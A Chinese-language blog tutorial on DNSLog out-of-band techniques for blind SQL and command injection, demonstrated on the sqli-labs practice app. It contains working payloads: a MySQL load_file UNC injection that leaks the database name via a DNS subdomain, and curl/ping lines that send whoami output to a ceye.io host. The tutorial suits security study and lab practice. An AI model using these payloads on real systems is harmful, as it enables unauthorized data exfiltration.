利用DNSLog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,
但是盲注往往效率很低,所以产生了DNSlog注入
DNSLOG的原理
DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn
时,DNS的解析过程示意图。
其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。
DNSLOG工具
如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:
https://github.com/BugScanTeam/DNSLog。
另外我们也可以使用在线平台:
场景一:SQL盲注回显
原理:
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com
这样的URL发起请求。dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。(UNC格式 \\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源名)
用法:
在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句
查看平台,dnsLog被记录下来。
举例:
以sql-labs第五关为例
payload:
' and if((select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.io\\xxx'))),1,0) --+
查看dnslog日志,发现security数据库被查询出来:
场景二:命令执行盲注回显
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求
curl http://haha.xxx.ceye.io/`whoami` ping `whoami`.xxxx.ceye.io Windows ping %USERNAME%.xxx.ceye.io
除了上面详细列出的例子之外,DNSLOG还可以利用在诸如Blind XSS、Blind XXE和Blind SSRF之类的漏洞上,原理是一样的,这样就不演示了。
参考:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义